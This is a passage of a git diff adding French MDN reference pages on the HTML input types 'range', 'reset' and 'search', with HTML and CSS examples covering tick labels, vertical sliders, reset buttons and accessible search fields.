+  &lt;option value="50" label="50%"&gt;
+  &lt;option value="60"&gt;
+  &lt;option value="70"&gt;
+  &lt;option value="80"&gt;
+  &lt;option value="90"&gt;
+  &lt;option value="100" label="100%"&gt;
+&lt;/datalist&gt;
+</pre>
+   </td>
+   <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14993/macslider-labels.png" style="height: 44px; width: 184px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> Actuellement, aucun navigateur ne prend en charge l'ensemble de ces fonctionnalités. Firefox n'affiche aucune marque ni étiquette et Chrome affiche uniquement les marques mais pas les étiquettes. La version 66 (66.0.3359.181) de Chrome prendre en charge les étiquettes mais par défaut l'élément {{HTMLElement("datalist")}} est mis en forme avec CSS et {{cssxref("display")}}<code>: none;</code> , ce qui le masque. Il faut donc rajouter des règles de mises en forme spécifiques.</p>
+</div>
+
+<h3 id="Modifier_l'orientation_du_curseur">Modifier l'orientation du curseur</h3>
+
+<div class="hidden">
+<p>Par défaut, le contrôle est affiché horizontalement dans le navigateur (le curseur se déplace de gauche à droite). Il est toutefois possible de tourner le contrôle avec CSS.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Actuellement, cela n'est pas implémenté par les navigateurs (voir {{bug(981916)}} pour Firefox et le <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=341071">bug 341071</a> pour Chrome).</p>
+</div>
+
+<p>Par exemple :</p>
+
+<div id="Orientation_sample1">
+<pre class="brush: html">&lt;input type="range" id="volume" min="0" max="11" value="7" step="1"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Orientation_sample1", 200, 200, "https://mdn.mozillademos.org/files/14983/Orientation_sample1.png")}}</p>
+
+<p>Le contrôle est ici horizontal, pour le rendre vertical, on pourra utiliser un peu de CSS afin de le rendre plus haut que large :</p>
+
+<div id="Orientation_sample2">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#volume {
+  height: 150px;
+  width: 50px;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input type="range" id="volume" min="0" max="11" value="7" step="1"&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Orientation_sample2", 200, 200, "https://mdn.mozillademos.org/files/14985/Orientation_sample2.png")}}</p>
+
+<p><strong>Currently, no major browsers support creating vertical range inputs using CSS this way, even though it's the way the specification recommends they do it.</strong></p>
+</div>
+</div>
+
+<p>La spécification HTML recommande de dessiner les contrôles verticalement lorsque la hauteur de celui-ci est supérieure à la largeur. Malheureusement, aucun navigateur ne prend actuellement en charge cette fonctionnalité directement. On peut toutefois dessiner un contrôle vertical en appliquant une rotation sur un contrôle horizontal avec du code CSS et notamment {{cssxref("transform")}} pour tourner l'élément.</p>
+
+<div id="Orientation_sample3">
+<h4 id="HTML_2">HTML</h4>
+
+<p>Il est nécessaire de placer l'élément {{HTMLElement("input")}} dans un élément {{HTMLElement("div")}} afin de corriger la disposition une fois la transformation appliquée :</p>
+
+<pre class="brush: html">&lt;div class="slider-wrapper"&gt;
+  &lt;input type="range" min="0" max="11" value="7" step="1"&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>Ensuite, on applique quelques règles CSS. Voici la règle CSS pour l'élément <code>div</code> qui indique le mode d'affichage et la taille qu'on souhaite avoir pour que la page soit correctement organisée..</p>
+
+<pre class="brush: css">.slider-wrapper {
+  display: inline-block;
+  width: 20px;
+  height: 150px;
+  padding: 0;
+}
+</pre>
+Ensuite, on applique une transformation sur l'élément <code>&lt;input&gt;</code> au sein de l'espace réservé par le <code>&lt;div&gt;</code> :
+
+<pre class="brush: css">.slider-wrapper input {
+  width: 150px;
+  height: 20px;
+  margin: 0;
+  transform-origin: 75px 75px;
+  transform: rotate(-90deg);
+}</pre>
+
+<p>Le contrôle mesure alors 150 pixels de long et 20 pixels de haut. Les marges sont nulles et {{cssxref("transform-origin")}} est décalé vers le milieu du contrôle. Le contrôle mesurant 150 pixels de large, décaler le centre de rotation permet d'avoir la zone de destination centrée avec 75 pixels de chaque côté.</p>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Orientation_sample3", 200, 200, "https://mdn.mozillademos.org/files/14987/Orientation_sample3.png")}}</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Il n'existe pas de motif de validation. Cependant, voici les formes de validation automatiques qui sont appliquées :</p>
+
+<ul>
+ <li>Si la valeur de l'attribut {{htmlattrxref("value", "input")}} est quelque chose qui ne peut pas être converti en nombre décimal, la validation échoue.</li>
+ <li>La valeur ne doit pas être inférieure à {{htmlattrxref("min", "input")}}. La valeur minimale par défaut est 0.</li>
+ <li>La valeur ne doit pas être supérieure à {{htmlattrxref("max", "input")}}. La valeur maximale par défaut est 0.</li>
+ <li>La valeur doit être un multiple de {{htmlattrxref("step", "input")}}. La valeur par défaut est 1.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour compléter les exemples précédents, on pourra consulter l'article suivant :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Controlling_multiple_parameters_with_ConstantSourceNode">Contrôler plusieurs paramètres grâce à <code>ConstantSourceNode</code> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui contient la représentation textuelle de la valeur numérique sélectionnée. On utilisera la méthode {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} afin d'obtenir la valeur sous forme numérique (type {{jsxref("Number")}}).</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("change")}} et {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("max", "input")}}, {{htmlattrxref("min", "input")}} et {{htmlattrxref("step", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list</code>, <code>value</code> et <code>valueAsNumber</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.stepDown", "stepDown()")}} et {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#range-state-(type=range)', '&lt;input type="range"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#range-state-typerange', '&lt;input type="range"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-range")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}} et l'interface {{domxref("HTMLInputElement")}}</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/number">&lt;input type="number"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/input/reset/index.html b/files/fr/web/html/element/input/reset/index.html
new file mode 100644
index 0000000000..d06649fce1
--- /dev/null
+++ b/files/fr/web/html/element/input/reset/index.html
@@ -0,0 +1,171 @@
+---
+title: <input type="reset">
+slug: Web/HTML/Element/Input/reset
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/reset
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} de type <strong><code>"reset"</code></strong> sont affichés sous la forme de boutons permettant de réiniatiliser l'ensemble des champs du formulaire avec leurs valeurs initiales.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-reset.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note </strong>: Il est généralement peu recommandé d'inclure des boutons de réinitialisation dans les formulaires. En effet, ils sont rarement utiles et peuvent être source de frustration lorsqu'on appuie dessus involontairement.</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>La valeur de l'attribut <code>value</code> d'un élément <code>&lt;input type="reset"&gt;</code> contient une chaîne de caractères ({{domxref("DOMString")}}) utilisée comme texte sur le bouton.</p>
+
+<div id="summary-example3">
+<pre class="brush: html">&lt;input type="reset" value="Réinitialiser le formulaire"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p>
+
+<p>Si aucune valeur n'est indiquée, le bouton aura le texte par défaut « Réinitialiser » :</p>
+
+<div id="summary-example1">
+<pre class="brush: html">&lt;input type="reset"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="Utiliser_les_boutons_de_réinitialisation">Utiliser les boutons de réinitialisation</h2>
+
+<p>Les boutons <code>&lt;input type="reset"&gt;</code> sont utilisés pour réinitialiser les formulaires. Si vous souhaitez créer un bouton personnalisé et adapter son comportement grâce à JavaScript, il est préférable d'utiliser un élément {{htmlelement("button")}} (voire un élément <code><a href="/fr/docs/Web/HTML/Element/input/button">&lt;input type="button"&gt;</a></code>).</p>
+
+<h3 id="Un_bouton_simple">Un bouton simple</h3>
+
+<p>Commençons par créer un bouton de réinitialisation simple :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="example"&gt;Voici un champ&lt;/label&gt;
+    &lt;input id="example" type="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="reset" value="Réinitialiser le formulaire"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>Voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample("Un_bouton_simple", 650, 100)}}</p>
+
+<p>Pour essayer, saisissez un peu de texte dans le champ puis appuyez sur le bouton de réinitialisation.</p>
+
+<h3 id="Ajouter_un_raccourci_au_bouton">Ajouter un raccourci au bouton</h3>
+
+<p>Les raccourcis claviers permettent de déclencher un bouton grâce à une touche ou à une combinaison de touches sur le clavier. Pour ajouter un raccourci clavier à un bouton de réinitialisation, il suffit d'utiliser l'attribut {{htmlattrxref("accesskey")}}.</p>
+
+<p>Dans cet exemple, on utilise la touche <kbd>r</kbd> (il faudra donc appuyer sur <kbd>r</kbd> et d'autres touches propres au navigateur et au système d'exploitation, se référer à {{htmlattrxref("accesskey")}} pour le détails).</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="example"&gt;Saisir un peu de texte&lt;/label&gt;
+    &lt;input id="example" type="text"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="reset" value="Réinitialiser le formulaire"
+     accesskey="r"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Ajouter_un_raccourci_au_bouton", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>Note </strong>: Le problème d'un tel raccourci est que l'utilisateur ne saura pas quelle touche clavier correspond au raccourci. Dans une situation réaliste, il est nécessaire de fournir l'information via un autre biais (sans interférer avec le <em>design</em> du site), par exemple grâce à un lien qui pointe vers la liste des différents raccourcis utilisés sur le site.</p>
+</div>
+
+<h3 id="DésactiverActiver_un_bouton">Désactiver/Activer un bouton</h3>
+
+<p>Pour désactiver un bouton de réinitialisation, il suffit d'appliquer l'attribut {{htmlattrxref("disabled")}} sur l'élément :</p>
+
+<div id="disable-example1">
+<pre class="brush: html">&lt;input type="reset" value="Désactivé" disabled&gt;</pre>
+</div>
+
+<p>On peut activer/désactiver le bouton lors de la navigation sur la page avec JavaScript en modifiant la valeur de l'attribut <code>disabled</code> pour la passer de <code>true</code> à <code>false</code> et <em>vice versa</em> (par exemple avec une instruction telle que <code>btn.disabled = true</code>).</p>
+
+<div class="note">
+<p><strong>Note </strong>: Pour plus d'exemples concernant l'activation/la désactivation de bouton, vous pouvez consulter la page <code><a href="/fr/docs/Web/HTML/Element/Input/button#Désactiver_et_activer_un_bouton">&lt;input type="button"&gt;</a></code>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note </strong>: À la différence des autres navigateurs, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox conservera un état désactivé obtenu de façon dynamique lorsque la page est rechargée</a>. L'attribut {{htmlattrxref("autocomplete","button")}} peut être utilisé afin de contrôler cette fonctionnalité.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Aucune fonctionnalité de vérification native côté client n'est implémentée pour les boutons de réinitialisation.</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères qui est utilisée comme intitulé pour le bouton.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("click")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("type", "input")}} et  {{htmlattrxref("value", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Spécification</td>
+   <td>État</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#reset-button-state-(type=reset)', '&lt;input type="reset"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#reset-button-state-(type=reset)', '&lt;input type="reset"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-reset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("input")}} et l'interface {{domxref("HTMLInputElement")}}.</li>
+ <li>L'élément {{HTMLElement("button")}}</li>
+ <li><a href="/fr/docs/Learn/HTML/Forms_and_buttons">Apprendre les formulaires et les boutons</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/forms">L'accessibilité et les formulaires</a></li>
+ <li><a href="/fr/docs/Learn/HTML/Forms">Les formulaires HTML</a></li>
+</ul>
diff --git a/files/fr/web/html/element/input/search/index.html b/files/fr/web/html/element/input/search/index.html
new file mode 100644
index 0000000000..c5818deb6e
--- /dev/null
+++ b/files/fr/web/html/element/input/search/index.html
@@ -0,0 +1,460 @@
+---
+title: <input type="search">
+slug: Web/HTML/Element/Input/search
+tags:
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/search
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>search</strong></code> permettent à un utilisateur de saisir des termes de recherche. </span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-search.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>La valeur de l'attribut {{htmlattrxref("value", "input")}} contient une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur du champ de recherche. En JavaScript, on peut récupérer cette information grâce à la propriété {{domxref("HTMLInputElement.value")}}.</p>
+
+<pre class="brush: js">maRecherche.value;
+</pre>
+
+<p>Si aucune contrainte de validation n'est imposée (cf. {{anch("Validation")}} pour plus de détails), la valeur peut être un texte ou une chaîne de caractères vide.</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs de recherche prennent en charge les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>Le nombre de caractères maximal qui peut être écrit dans ce champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>Le nombre de caractères minimal qui peut être écrit dans ce champ pour qu'il soit considéré comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Une expression rationnelle à laquelle doit correspondre le texte saisi pour être valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Une valeur d'exemple qui sera affichée lorsqu'aucune valeur n'est saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui indique si le contenu du champ est en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>Un nombre qui indique le nombre de caractères affichés par le champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("spellcheck")}}</code></td>
+   <td>Cet attribut contrôle l'activation de la vérification orthographique sur le champ ou si la vérification orthographique par défaut doit être appliquée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(maxlength)">{{htmlattrdef("maxlength")}}</h3>
+
+<p>Le nombre maximum de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>maxlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille maximale. La valeur indiquée par cet attribut doit être supérieure à <code>minlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte dépasse <code>maxlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdef(minlength)">{{htmlattrdef("minlength")}}</h3>
+
+<p>Le nombre minimal de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>minlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille minimale. La valeur indiquée par cet attribut doit être inférieur à <code>maxlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte est inférieure à <code>minlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdef(pattern)">{{htmlattrdef("pattern")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>Voir <a href="#format">la section sur l'utilisation de cet attribut ci-après</a> pour plus d'exemples.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdef(spellcheck)">{{htmlattrdef("spellcheck")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "spellcheck-include")}}</p>
+
+<h2 id="Attributs_non-standard">Attributs non-standard</h2>
+
+<p>Les attributs non-standard suivants sont disponibles pour les champs de recherche. Toutefois, vu leur caractère spécifique, mieux vaut ne pas les utiliser.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Une chaîne de caractères qui indique si la correction automatique doit être appliquée à ce champ texte. <strong>Uniquement pris en charge par Safari.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("incremental")}}</code></td>
+   <td>Cet attribut indique si des évènements {{event("search")}} doivent être envoyés afin de mettre à jour les résultats de la recherche tandis que l'utilisateur continue d'éditer la valeur du champ. <strong>Uniquement WebKit et Blink (Safari, Chrome, Opera, etc.).</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'action qui sera effectuée lorsque l'utilisateur appuiera sur la touche <kbd>Entrée</kbd> ou <kbd>Retour</kbd> lors de l'édition du champ. La valeur de cet attribut est utilisée comme libellé pour la touche adéquate du clavier virtuel. <strong>Uniquement pris en charge par Firefox pour Android.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("results")}}</code></td>
+   <td>Le nombre maximum d'éléments qui devraient être affichés comme recherches précédentes dans la liste déroulante du champ. <strong>Uniquement pris en charge par Safari.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(autocorrect)_non-standard_inline">{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</p>
+
+<h3 id="htmlattrdef(incremental)_non-standard_inline">{{htmlattrdef("incremental")}} {{non-standard_inline}}</h3>
+
+<p>Un attribut booléen spécifique à WebKit et Blink qui indique à l'agent utilisateur de traiter la recherche en continu. Lorsque cet attribut est présent et lorsque l'utilisateur édite la valeur du champ, l'agent utilisateur envoie des évènements {{event("search")}} sur l'objet {{domxref("HTMLInputElement")}} qui représente le champ de recherche. Ainsi, on peut gérer, avec du code, la mise à jour continue des résultats de recherche.</p>
+
+<p>Si l'attribut <code>incremental</code> n'est pas indiqué, l'évènement {{event("search")}} est uniquement envoyé lorsque l'tuilisateur déclenche la recherche (en appuyant sur la touche <kbd>Entrée</kbd> ou <kbd>Retour</kbd> à l'édition du champ).</p>
+
+<p>La fréquence maximale à laquelle l'évènement <code>search</code> est envoyé est définie par chaque implémentation.</p>
+
+<h3 id="htmlattrdef(mozactionhint)_non-standard_inline">{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</p>
+
+<h3 id="htmlattrdef(results)_non-standard_inline">{{htmlattrdef("results")}} {{non-standard_inline}}</h3>
+
+<p>L'attribut <code>results</code>, spécifique à Safari, est une valeur numérique qui permet de surcharger la valeur maximale du nombre de recherches précédentes affichées dans la liste déroulante des suggestions.</p>
+
+<p>Cette valeur doit être un nombre positif. Si cet attribut n'est pas fourni, ou que sa valeur est invalide, ce sera le maximum fourni par le navigateur qui sera utilisé.</p>
+
+<h2 id="Utiliser_un_champ_de_recherche">Utiliser un champ de recherche</h2>
+
+<p>Les éléments <code>&lt;input&gt;</code> de type <code>search</code> sont semblables aux éléments <code>&lt;input&gt;</code> de type <code>text</code> mais sont spécifiquement destinés à la gestion des termes d'une recherche.</p>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="maRecherche" name="q"&gt;
+    &lt;button&gt;Rechercher&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Cet exemple produira le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Exemple_simple", 600, 40)}}</p>
+
+<p><code>q</code> est la valeur standard utilisé pour l'attribut <code>name</code> des champs de recherche. Lorsque le formulaire est envoyée, les données envoyées au serveur auront la forme <code>q=termederecherche</code>. Il est nécessaire de fournir un nom (c'est-à-dire un attribut <code>name</code>) à un champ, sinon aucune information ne sera envoyée lors de l'envoi du formulaire.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est toujours nécessaire de fournir une valeur pour l'attribut {{htmlattrxref("name","input")}} car sinon aucune valeur ne sera envoyée.</p>
+</div>
+
+<h3 id="Différences_entre_les_champs_de_recherche_et_les_champs_texte">Différences entre les champs de recherche et les champs texte</h3>
+
+<p>La différence principale est la façon dont les navigateurs gèrent cet élément. Premièrement, certains navigateurs affiche une icône de croix dans la zone de saisie qui peut être utilisée pour retirer le terme de la recherche. Voici par exemple un aperçu de la fonctionnalité sous Chrome:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15235/chrome-cross-icon.png" style="display: block; height: 31px; margin: 0px auto; width: 144px;"></p>
+
+<p>De plus, les navigateurs modernes proposent souvent une auto-complétion basée sur les termes de recherche déjà utilisés sur le site. Ainsi, quand on réutilise le champ, différentes suggestions peuvent être affichées et utilisées. Voici l'aperçu de cette fonctionnalité sous Firefox :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15237/firefox-auto-complete.png" style="display: block; height: 83px; margin: 0px auto; width: 171px;"></p>
+
+<h3 id="Ajouter_un_texte_indicatif">Ajouter un texte indicatif</h3>
+
+<p>Il est possible de fournir un texte indicatif dans le champ de recherche afin de fournir une indication quant aux recherches qu'il est possible de faire. Pour cela, on ajoutera un texte avec l'attribut {{htmlattrxref("placeholder","")}}. Par exemple :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="maRecherche" name="q"
+     placeholder="Rechercher sur le site…"&gt;
+    &lt;button&gt;Rechercher&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Voici le résultat obtenu avec ce fragment HTML :</p>
+
+<p>{{EmbedLiveSample("Ajouter_un_texte_indicatif", 600, 40)}}</p>
+
+<h3 id="Les_champs_de_recherche_et_l’accessibilité">Les champs de recherche et l’accessibilité</h3>
+
+<p>Un des problèmes posé par les formulaires de recherche est leur accessibilité. En effet, dans la plupart des situations, il n'est pas nécessaire de fournir une étiquette indiquant le rôle de la recherche car le placement du champ rend son rôle clair (<a href="https://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">voici un exemple</a>).</p>
+
+<p>En revanche, pour les personnes qui utilisent des technologies assistives, cela peut être source de confusion. Une façon de résoudre ce problème sans modifier l'organisation visuelle est d'utiliser les fonctionnalités <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> :</p>
+
+<ul>
+ <li>Utiliser un attribut <code>role</code> avec la valeur <code>search</code> sur l'élément <code>&lt;form&gt;</code> permettra aux lecteurs d'écran d'indiquer le formulaire comme étant un formulaire de recherche.</li>
+ <li>Si cela n'est pas suffisant, il est possible d'utiliser l'attribut <code>aria-label</code> sur l'élément <code>&lt;input&gt;</code>. Cet attribut peut contenir un texte descriptif qui sera lu à voix haute par un lecteur d'écran. Il s'agit d'un équivalent non-visuel de <code>&lt;label&gt;</code>.</li>
+</ul>
+
+<p>Prenons un exemple :</p>
+
+<pre class="brush: html">&lt;form role="search"&gt;
+  &lt;div&gt;
+    &lt;input type="search" id="maRecherche" name="q"
+     placeholder="Rechercher sur le site…"
+     aria-label="Rechercher parmi le contenu du site"&gt;
+    &lt;button&gt;Rechercher&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Voici le résultat obtenu grâce à ce fragment de HTML :</p>
+
+<p>{{EmbedLiveSample("Les_champs_de_recherche_et_l’accessibilité", 600, 40)}}</p>
+
+<p>Il n'y a aucune différence visuelle avec l'exemple précédent mais avec cette deuxième version, les personnes qui utilisent un lecteur d'écran disposeront de plus d'informations.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Voir <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics#SignpostsLandmarks">Signposts/Landmarks</a> pour plus d'informations à propos de ces fonctionnalités relatives à l'accessibilité.</p>
+</div>
+
+<h3 id="Paramétrer_la_taille_physique">Paramétrer la taille physique</h3>
+
